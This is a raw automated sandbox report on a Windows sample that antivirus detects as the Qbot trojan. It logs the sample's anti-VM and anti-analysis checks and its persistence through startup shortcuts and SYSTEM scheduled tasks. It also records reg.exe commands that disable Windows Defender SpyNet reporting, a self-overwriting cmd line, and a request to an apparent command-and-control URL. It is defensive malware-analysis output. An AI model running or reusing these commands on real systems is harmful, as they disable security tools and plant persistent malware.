Attempts to repeatedly call a single API many times in order to delay analysis time
Spam:
explorer.exe (1228) called API GetSystemMetrics 25033 times
Attempts to identify installed AV products by registry key
Registry:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft AntiMalware\SpyNet\SubmitSamplesConsent
Registry:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft AntiMalware\SpyNet\SpyNetReporting
Registry:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft AntiMalware\SpyNet
Checks whether any human activity is being performed by constantly checking whether the foreground window changed
A process attempted to delay the analysis task.
Description:
2314e8bb62eae0ca5fc49061204f983155dde64a0d0f75f4fde145a51e5fb36a.exe tried to sleep 190 seconds, actually delayed analysis time by 190 seconds
Description:
PING.EXE tried to sleep 330 seconds, actually delayed analysis time by 330 seconds
Queries for the computername
PID
API
Arguments
2504
GetComputerNameW
computer_name:
VIRTUAL-PC
2504
GetComputerNameW
computer_name:
VIRTUAL-PC
2504
GetComputerNameW
computer_name:
VIRTUAL-PC
Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available
PID
API
Arguments
2072
GlobalMemoryStatusEx
N/A
Checks adapter addresses which can be used to detect virtual network interfaces
PID
API
Arguments
2504
GetAdaptersAddresses
flags:
0
family:
0
2504
GetAdaptersAddresses
flags:
0
family:
0
2504
GetAdaptersAddresses
flags:
15
family:
0
2504
GetAdaptersAddresses
flags:
15
family:
0
2504
GetAdaptersAddresses
flags:
640
family:
0
2504
GetAdaptersAddresses
flags:
640
family:
0
2504
GetAdaptersAddresses
flags:
15
family:
0
2504
GetAdaptersAddresses
flags:
15
family:
0
2504
GetAdaptersAddresses
flags:
640
family:
0
2504
GetAdaptersAddresses
flags:
640
family:
0
2504
GetAdaptersAddresses
flags:
15
family:
0
2504
GetAdaptersAddresses
flags:
15
family:
0
2504
GetAdaptersAddresses
flags:
640
family:
0
2504
GetAdaptersAddresses
flags:
640
family:
0
2504
GetAdaptersAddresses
flags:
15
family:
0
2504
GetAdaptersAddresses
flags:
15
family:
0
2504
GetAdaptersAddresses
flags:
640
family:
0
2504
GetAdaptersAddresses
flags:
640
family:
0
Detects VMWare through the in instruction feature
PID
API
Arguments
2340
__exception__
stacktrace:
[u'2314e8bb62eae0ca5fc49061204f983155dde64a0d0f75f4fde145a51e5fb36a+0x3f07 @ 0x403f07', u'2314e8bb62eae0ca5fc49061204f983155dde64a0d0f75f4fde145a51e5fb36a+0x1b25 @ 0x401b25', u'BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x7dd733ca', u'RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x7dea9ed2', u'RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x7dea9ea5']
exception:
{u'instruction_r': u'ed 89 5d e4 89 4d e0 5a 59 5b 58 83 4d fc ff eb', u'symbol': u'2314e8bb62eae0ca5fc49061204f983155dde64a0d0f75f4fde145a51e5fb36a+0x3449', u'instruction': u'in eax, dx', u'module': u'2314e8bb62eae0ca5fc49061204f983155dde64a0d0f75f4fde145a51e5fb36a.exe', u'exception_code': u'0xc0000096', u'offset': 13385, u'address': u'0x403449'}
registers:
{u'esp': 1637624, u'edi': 0, u'eax': 1447909480, u'ebp': 1637684, u'edx': 22104, u'ebx': 1, u'esi': 6269824, u'ecx': 10}
2340
__exception__
stacktrace:
[u'2314e8bb62eae0ca5fc49061204f983155dde64a0d0f75f4fde145a51e5fb36a+0x3f10 @ 0x403f10', u'2314e8bb62eae0ca5fc49061204f983155dde64a0d0f75f4fde145a51e5fb36a+0x1b25 @ 0x401b25', u'BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x7dd733ca', u'RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x7dea9ed2', u'RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x7dea9ea5']
exception:
{u'instruction_r': u'ed 89 45 e4 5a 59 5b 58 83 4d fc ff eb 11 33 c0', u'symbol': u'2314e8bb62eae0ca5fc49061204f983155dde64a0d0f75f4fde145a51e5fb36a+0x34e2', u'instruction': u'in eax, dx', u'module': u'2314e8bb62eae0ca5fc49061204f983155dde64a0d0f75f4fde145a51e5fb36a.exe', u'exception_code': u'0xc0000096', u'offset': 13538, u'address': u'0x4034e2'}
registers:
{u'esp': 1637628, u'edi': 0, u'eax': 1447909480, u'ebp': 1637684, u'edx': 22104, u'ebx': 1, u'esi': 6269824, u'ecx': 20}
One or more AV tool detects this sample as malicious: Trojan:Win32/Qbot.BX!MTB
Description:
Trojan:Win32/Qbot.BX!MTB
Creates executable files on the filesystem
File:
C:\Users\Virtual\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\gkitsjl.lnk
File:
C:\Users\Virtual\nyhppenwxhwozpgzljfh.vbs
File:
C:\Users\Virtual\hxvvvycgaysqxzmc.vbs
File:
C:\Users\Virtual\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\nuipvce.lnk
Executes one or more WMI queries
Wmi:
Select * From CIM_DataFile Where Name = 'C:\\Users\\Virtual\\AppData\\Local\\Temp\\2314e8bb62eae0ca5fc49061204f983155dde64a0d0f75f4fde145a51e5fb36a.exe'
Repeatedly searches for a not-found process, you may want to run a web browser during analysis
PID
API
Arguments
2504
Process32NextW
snapshot_handle:
0x00000158
process_name:
process_identifier:
0
Reads data out of its own binary image
Self Read:
process: cscript.exe, pid: 2808, offset: 0x00000000, length: 0x00000142
Self Read:
process: cscript.exe, pid: 800, offset: 0x00000000, length: 0x00000142
Performs some HTTP requests
Request:
GET http://www.download.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Request:
GET http://www.microsoft.com/pki/certs/MicRooCerAut_2010-06-23.crt
Request:
GET https://1.nvprivateoffice.info/dupinst.php?n=heagwe101960&bg=notset&r=0
Performs some DNS requests
Dns :
Request: www.microsoft.com IP: 72.247.170.32
Dns :
Request: www.download.windowsupdate.com IP: 205.185.216.10
Dns :
Request: 1.nvprivateoffice.info IP: 89.105.198.119
Unconventionial language used in binary resources
Language:
Chinese (Simplified)
Allocates read-write-execute memory (usually to unpack itself)
PID
API
Arguments
2504
NtAllocateVirtualMemory
process_identifier:
2288
region_size:
225280
stack_dep_bypass:
0
stack_pivoted:
0
heap_dep_bypass:
0
protection:
64
base_address:
0x003c0000
allocation_type:
12288
process_handle:
0xffffffff
2504
NtAllocateVirtualMemory
process_identifier:
2288
region_size:
221184
stack_dep_bypass:
0
stack_pivoted:
0
heap_dep_bypass:
0
protection:
64
base_address:
0x00700000
allocation_type:
12288
process_handle:
0xffffffff
Creates a suspicious process
Cmdline:
"C:\Windows\system32\schtasks.exe" /Create /RU "NT AUTHORITY\SYSTEM" /tn mzcdfxqfs /tr "\"C:\Users\Virtual\AppData\Local\Temp\2314e8bb62eae0ca5fc49061204f983155dde64a0d0f75f4fde145a51e5fb36a.exe\" /I mzcdfxqfs" /SC ONCE /Z /ST 08:07 /ET 08:19
Cmdline:
"C:\Windows\system32\schtasks.exe" /Create /RU "NT AUTHORITY\SYSTEM" /tn lbbnkfcatf /tr "\"C:\Users\Virtual\AppData\Local\Temp\2314e8bb62eae0ca5fc49061204f983155dde64a0d0f75f4fde145a51e5fb36a.exe\" /I lbbnkfcatf" /SC ONCE /Z /ST 08:06 /ET 08:18
Cmdline:
"C:\Windows\system32\schtasks.exe" /Create /RU "NT AUTHORITY\SYSTEM" /tn rlatptyox /tr "\"C:\Users\Virtual\AppData\Local\Temp\2314e8bb62eae0ca5fc49061204f983155dde64a0d0f75f4fde145a51e5fb36a.exe\" /I rlatptyox" /SC ONCE /Z /ST 08:06 /ET 08:18
Cmdline:
"C:\Windows\system32\schtasks.exe" /Create /RU "NT AUTHORITY\SYSTEM" /tn sjcnkhyf /tr "\"C:\Users\Virtual\AppData\Local\Temp\2314e8bb62eae0ca5fc49061204f983155dde64a0d0f75f4fde145a51e5fb36a.exe\" /I sjcnkhyf" /SC ONCE /Z /ST 08:07 /ET 08:19
Cmdline:
"C:\Windows\system32\schtasks.exe" /Create /RU "NT AUTHORITY\SYSTEM" /tn hcmqwdhnip /tr "\"C:\Users\Virtual\AppData\Local\Temp\2314e8bb62eae0ca5fc49061204f983155dde64a0d0f75f4fde145a51e5fb36a.exe\" /I hcmqwdhnip" /SC ONCE /Z /ST 08:06 /ET 08:18
Cmdline:
"C:\Windows\system32\schtasks.exe" /Create /RU "NT AUTHORITY\SYSTEM" /tn usxqonvsxd /tr "\"C:\Users\Virtual\AppData\Local\Temp\2314e8bb62eae0ca5fc49061204f983155dde64a0d0f75f4fde145a51e5fb36a.exe\" /I usxqonvsxd" /SC ONCE /Z /ST 08:06 /ET 08:18
Cmdline:
"C:\Windows\system32\schtasks.exe" /Create /RU "NT AUTHORITY\SYSTEM" /tn useqdmjlp /tr "\"C:\Users\Virtual\AppData\Local\Temp\2314e8bb62eae0ca5fc49061204f983155dde64a0d0f75f4fde145a51e5fb36a.exe\" /I useqdmjlp" /SC ONCE /Z /ST 08:06 /ET 08:18
Cmdline:
"C:\Windows\system32\schtasks.exe" /Create /RU "NT AUTHORITY\SYSTEM" /tn fmvgljd /tr "\"C:\Users\Virtual\AppData\Local\Temp\2314e8bb62eae0ca5fc49061204f983155dde64a0d0f75f4fde145a51e5fb36a.exe\" /I fmvgljd" /SC ONCE /Z /ST 08:07 /ET 08:19
Cmdline:
"C:\Windows\system32\schtasks.exe" /Create /RU "NT AUTHORITY\SYSTEM" /tn vwhneucjyy /tr "\"C:\Users\Virtual\AppData\Local\Temp\2314e8bb62eae0ca5fc49061204f983155dde64a0d0f75f4fde145a51e5fb36a.exe\" /I vwhneucjyy" /SC ONCE /Z /ST 08:05 /ET 08:17
Cmdline:
"C:\Windows\System32\cmd.exe" /c ping.exe -n 6 127.0.0.1 & type "C:\Windows\System32\calc.exe" > "C:\Users\Virtual\AppData\Local\Temp\2314e8bb62eae0ca5fc49061204f983155dde64a0d0f75f4fde145a51e5fb36a.exe"
Cmdline:
"C:\Windows\system32\schtasks.exe" /Create /RU "NT AUTHORITY\SYSTEM" /tn nyubjek /tr "\"C:\Users\Virtual\AppData\Local\Temp\2314e8bb62eae0ca5fc49061204f983155dde64a0d0f75f4fde145a51e5fb36a.exe\" /I nyubjek" /SC ONCE /Z /ST 08:07 /ET 08:19
Cmdline:
cmd.exe /c ping.exe -n 6 127.0.0.1 & type "C:\Windows\System32\calc.exe" > "C:\Users\Virtual\AppData\Local\Temp\2314e8bb62eae0ca5fc49061204f983155dde64a0d0f75f4fde145a51e5fb36a.exe"
Installs itself for autorun at Windows startup
File:
C:\Users\Virtual\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\gkitsjl.lnk
File:
C:\Users\Virtual\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\nuipvce.lnk
Cmdline:
"C:\Windows\system32\schtasks.exe" /Create /RU "NT AUTHORITY\SYSTEM" /tn mzcdfxqfs /tr "\"C:\Users\Virtual\AppData\Local\Temp\2314e8bb62eae0ca5fc49061204f983155dde64a0d0f75f4fde145a51e5fb36a.exe\" /I mzcdfxqfs" /SC ONCE /Z /ST 08:07 /ET 08:19
Cmdline:
"C:\Windows\system32\schtasks.exe" /Create /RU "NT AUTHORITY\SYSTEM" /tn lbbnkfcatf /tr "\"C:\Users\Virtual\AppData\Local\Temp\2314e8bb62eae0ca5fc49061204f983155dde64a0d0f75f4fde145a51e5fb36a.exe\" /I lbbnkfcatf" /SC ONCE /Z /ST 08:06 /ET 08:18
Cmdline:
"C:\Windows\system32\schtasks.exe" /Create /RU "NT AUTHORITY\SYSTEM" /tn rlatptyox /tr "\"C:\Users\Virtual\AppData\Local\Temp\2314e8bb62eae0ca5fc49061204f983155dde64a0d0f75f4fde145a51e5fb36a.exe\" /I rlatptyox" /SC ONCE /Z /ST 08:06 /ET 08:18
Cmdline:
"C:\Windows\system32\schtasks.exe" /Create /RU "NT AUTHORITY\SYSTEM" /tn sjcnkhyf /tr "\"C:\Users\Virtual\AppData\Local\Temp\2314e8bb62eae0ca5fc49061204f983155dde64a0d0f75f4fde145a51e5fb36a.exe\" /I sjcnkhyf" /SC ONCE /Z /ST 08:07 /ET 08:19
Cmdline:
"C:\Windows\system32\schtasks.exe" /Create /RU "NT AUTHORITY\SYSTEM" /tn hcmqwdhnip /tr "\"C:\Users\Virtual\AppData\Local\Temp\2314e8bb62eae0ca5fc49061204f983155dde64a0d0f75f4fde145a51e5fb36a.exe\" /I hcmqwdhnip" /SC ONCE /Z /ST 08:06 /ET 08:18
Cmdline:
"C:\Windows\system32\schtasks.exe" /Create /RU "NT AUTHORITY\SYSTEM" /tn usxqonvsxd /tr "\"C:\Users\Virtual\AppData\Local\Temp\2314e8bb62eae0ca5fc49061204f983155dde64a0d0f75f4fde145a51e5fb36a.exe\" /I usxqonvsxd" /SC ONCE /Z /ST 08:06 /ET 08:18
Cmdline:
"C:\Windows\system32\schtasks.exe" /Create /RU "NT AUTHORITY\SYSTEM" /tn useqdmjlp /tr "\"C:\Users\Virtual\AppData\Local\Temp\2314e8bb62eae0ca5fc49061204f983155dde64a0d0f75f4fde145a51e5fb36a.exe\" /I useqdmjlp" /SC ONCE /Z /ST 08:06 /ET 08:18
Cmdline:
"C:\Windows\system32\schtasks.exe" /Create /RU "NT AUTHORITY\SYSTEM" /tn fmvgljd /tr "\"C:\Users\Virtual\AppData\Local\Temp\2314e8bb62eae0ca5fc49061204f983155dde64a0d0f75f4fde145a51e5fb36a.exe\" /I fmvgljd" /SC ONCE /Z /ST 08:07 /ET 08:19
Cmdline:
"C:\Windows\system32\schtasks.exe" /Create /RU "NT AUTHORITY\SYSTEM" /tn vwhneucjyy /tr "\"C:\Users\Virtual\AppData\Local\Temp\2314e8bb62eae0ca5fc49061204f983155dde64a0d0f75f4fde145a51e5fb36a.exe\" /I vwhneucjyy" /SC ONCE /Z /ST 08:05 /ET 08:17
Cmdline:
"C:\Windows\system32\schtasks.exe" /Create /RU "NT AUTHORITY\SYSTEM" /tn nyubjek /tr "\"C:\Users\Virtual\AppData\Local\Temp\2314e8bb62eae0ca5fc49061204f983155dde64a0d0f75f4fde145a51e5fb36a.exe\" /I nyubjek" /SC ONCE /Z /ST 08:07 /ET 08:19
Creates an Alternate Data Stream (ADS)
File:
C:\Windows\System32\cmd.exe:Zone.Identifier
Creates known Dexter registry keys and/or mutexes
Regkey:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Associations
More than %50 of the external calls do not go through the import address table
Creates known SpyNet files, registry changes and/or mutexes.
Registry:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\SpyNet
Strings possibly contain hardcoded URLs
Possible Url:
http://schemas.microsoft.com/SMI/2005/WindowsSettings">true</dpiAware>
A process created a hidden window
Process:
2314e8bb62eae0ca5fc49061204f983155dde64a0d0f75f4fde145a51e5fb36a.exe -> C:\Users\Virtual\AppData\Local\Temp\2314e8bb62eae0ca5fc49061204f983155dde64a0d0f75f4fde145a51e5fb36a.exe /C
Process:
2314e8bb62eae0ca5fc49061204f983155dde64a0d0f75f4fde145a51e5fb36a.exe -> "C:\Windows\system32\schtasks.exe" /Create /RU "NT AUTHORITY\SYSTEM" /tn vwhneucjyy /tr "\"C:\Users\Virtual\AppData\Local\Temp\2314e8bb62eae0ca5fc49061204f983155dde64a0d0f75f4fde145a51e5fb36a.exe\" /I vwhneucjyy" /SC ONCE /Z /ST 08:05 /ET 08:17
Process:
2314e8bb62eae0ca5fc49061204f983155dde64a0d0f75f4fde145a51e5fb36a.exe -> cscript.exe
Process:
2314e8bb62eae0ca5fc49061204f983155dde64a0d0f75f4fde145a51e5fb36a.exe -> cmd.exe
Process:
2314e8bb62eae0ca5fc49061204f983155dde64a0d0f75f4fde145a51e5fb36a.exe -> C:\Windows\system32\reg.exe ADD "HKLM\SOFTWARE\Microsoft\Microsoft AntiMalware\SpyNet" /f /t REG_DWORD /v "SpyNetReporting" /d "0"
Process:
2314e8bb62eae0ca5fc49061204f983155dde64a0d0f75f4fde145a51e5fb36a.exe -> C:\Windows\system32\reg.exe ADD "HKLM\SOFTWARE\Microsoft\Microsoft AntiMalware\SpyNet" /f /t REG_DWORD /v "SubmitSamplesConsent" /d "2"
Process:
2314e8bb62eae0ca5fc49061204f983155dde64a0d0f75f4fde145a51e5fb36a.exe -> C:\Windows\system32\reg.exe ADD "HKLM\SOFTWARE\Wow6432Node\Microsoft AntiMalware\SpyNet" /f /t REG_DWORD /v "SpyNetReporting" /d "0"
Process:
2314e8bb62eae0ca5fc49061204f983155dde64a0d0f75f4fde145a51e5fb36a.exe -> C:\Windows\system32\reg.exe ADD "HKLM\SOFTWARE\Wow6432Node\Microsoft AntiMalware\SpyNet" /f /t REG_DWORD /v "SubmitSamplesConsent" /d "2"
Process:
2314e8bb62eae0ca5fc49061204f983155dde64a0d0f75f4fde145a51e5fb36a.exe -> C:\Windows\system32\reg.exe ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\SpyNet" /f /t REG_DWORD /v "SpyNetReporting" /d "0"
Process:
2314e8bb62eae0ca5fc49061204f983155dde64a0d0f75f4fde145a51e5fb36a.exe -> C:\Windows\system32\reg.exe ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\SpyNet" /f /t REG_DWORD /v "SubmitSamplesConsent" /d "2"
Process:
2314e8bb62eae0ca5fc49061204f983155dde64a0d0f75f4fde145a51e5fb36a.exe -> C:\Windows\system32\reg.exe ADD "HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Spynet" /f /t REG_DWORD /v "SpyNetReporting" /d "0"
Process:
2314e8bb62eae0ca5fc49061204f983155dde64a0d0f75f4fde145a51e5fb36a.exe -> C:\Windows\system32\reg.exe ADD "HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Spynet" /f /t REG_DWORD /v "SubmitSamplesConsent" /d "2"
Process:
2314e8bb62eae0ca5fc49061204f983155dde64a0d0f75f4fde145a51e5fb36a.exe -> "C:\Windows\system32\schtasks.exe" /Create /RU "NT AUTHORITY\SYSTEM" /tn useqdmjlp /tr "\"C:\Users\Virtual\AppData\Local\Temp\2314e8bb62eae0ca5fc49061204f983155dde64a0d0f75f4fde145a51e5fb36a.exe\" /I useqdmjlp" /SC ONCE /Z /ST 08:06 /ET 08:18
Process:
2314e8bb62eae0ca5fc49061204f983155dde64a0d0f75f4fde145a51e5fb36a.exe -> "C:\Windows\system32\schtasks.exe" /Create /RU "NT AUTHORITY\SYSTEM" /tn hcmqwdhnip /tr "\"C:\Users\Virtual\AppData\Local\Temp\2314e8bb62eae0ca5fc49061204f983155dde64a0d0f75f4fde145a51e5fb36a.exe\" /I hcmqwdhnip" /SC ONCE /Z /ST 08:06 /ET 08:18
Process:
2314e8bb62eae0ca5fc49061204f983155dde64a0d0f75f4fde145a51e5fb36a.exe -> "C:\Windows\system32\schtasks.exe" /Create /RU "NT AUTHORITY\SYSTEM" /tn rlatptyox /tr "\"C:\Users\Virtual\AppData\Local\Temp\2314e8bb62eae0ca5fc49061204f983155dde64a0d0f75f4fde145a51e5fb36a.exe\" /I rlatptyox" /SC ONCE /Z /ST 08:06 /ET 08:18
Process:
2314e8bb62eae0ca5fc49061204f983155dde64a0d0f75f4fde145a51e5fb36a.exe -> "C:\Windows\system32\schtasks.exe" /Create /RU "NT AUTHORITY\SYSTEM" /tn usxqonvsxd /tr "\"C:\Users\Virtual\AppData\Local\Temp\2314e8bb62eae0ca5fc49061204f983155dde64a0d0f75f4fde145a51e5fb36a.exe\" /I usxqonvsxd" /SC ONCE /Z /ST 08:06 /ET 08:18
Process:
2314e8bb62eae0ca5fc49061204f983155dde64a0d0f75f4fde145a51e5fb36a.exe -> "C:\Windows\system32\schtasks.exe" /Create /RU "NT AUTHORITY\SYSTEM" /tn lbbnkfcatf /tr "\"C:\Users\Virtual\AppData\Local\Temp\2314e8bb62eae0ca5fc49061204f983155dde64a0d0f75f4fde145a51e5fb36a.exe\" /I lbbnkfcatf" /SC ONCE /Z /ST 08:06 /ET 08:18
Process:
2314e8bb62eae0ca5fc49061204f983155dde64a0d0f75f4fde145a51e5fb36a.exe -> "C:\Windows\system32\schtasks.exe" /Create /RU "NT AUTHORITY\SYSTEM" /tn mzcdfxqfs /tr "\"C:\Users\Virtual\AppData\Local\Temp\2314e8bb62eae0ca5fc49061204f983155dde64a0d0f75f4fde145a51e5fb36a.exe\" /I mzcdfxqfs" /SC ONCE /Z /ST 08:07 /ET 08:19
Process:
2314e8bb62eae0ca5fc49061204f983155dde64a0d0f75f4fde145a51e5fb36a.exe -> "C:\Windows\system32\schtasks.exe" /Create /RU "NT AUTHORITY\SYSTEM" /tn fmvgljd /tr "\"C:\Users\Virtual\AppData\Local\Temp\2314e8bb62eae0ca5fc49061204f983155dde64a0d0f75f4fde145a51e5fb36a.exe\" /I fmvgljd" /SC ONCE /Z /ST 08:07 /ET 08:19
Process:
2314e8bb62eae0ca5fc49061204f983155dde64a0d0f75f4fde145a51e5fb36a.exe -> "C:\Windows\system32\schtasks.exe" /Create /RU "NT AUTHORITY\SYSTEM" /tn sjcnkhyf /tr "\"C:\Users\Virtual\AppData\Local\Temp\2314e8bb62eae0ca5fc49061204f983155dde64a0d0f75f4fde145a51e5fb36a.exe\" /I sjcnkhyf" /SC ONCE /Z /ST 08:07 /ET 08:19
Process:
2314e8bb62eae0ca5fc49061204f983155dde64a0d0f75f4fde145a51e5fb36a.exe -> "C:\Windows\system32\schtasks.exe" /Create /RU "NT AUTHORITY\SYSTEM" /tn nyubjek /tr "\"C:\Users\Virtual\AppData\Local\Temp\2314e8bb62eae0ca5fc49061204f983155dde64a0d0f75f4fde145a51e5fb36a.exe\" /I nyubjek" /SC ONCE /Z /ST 08:07 /ET 08:19
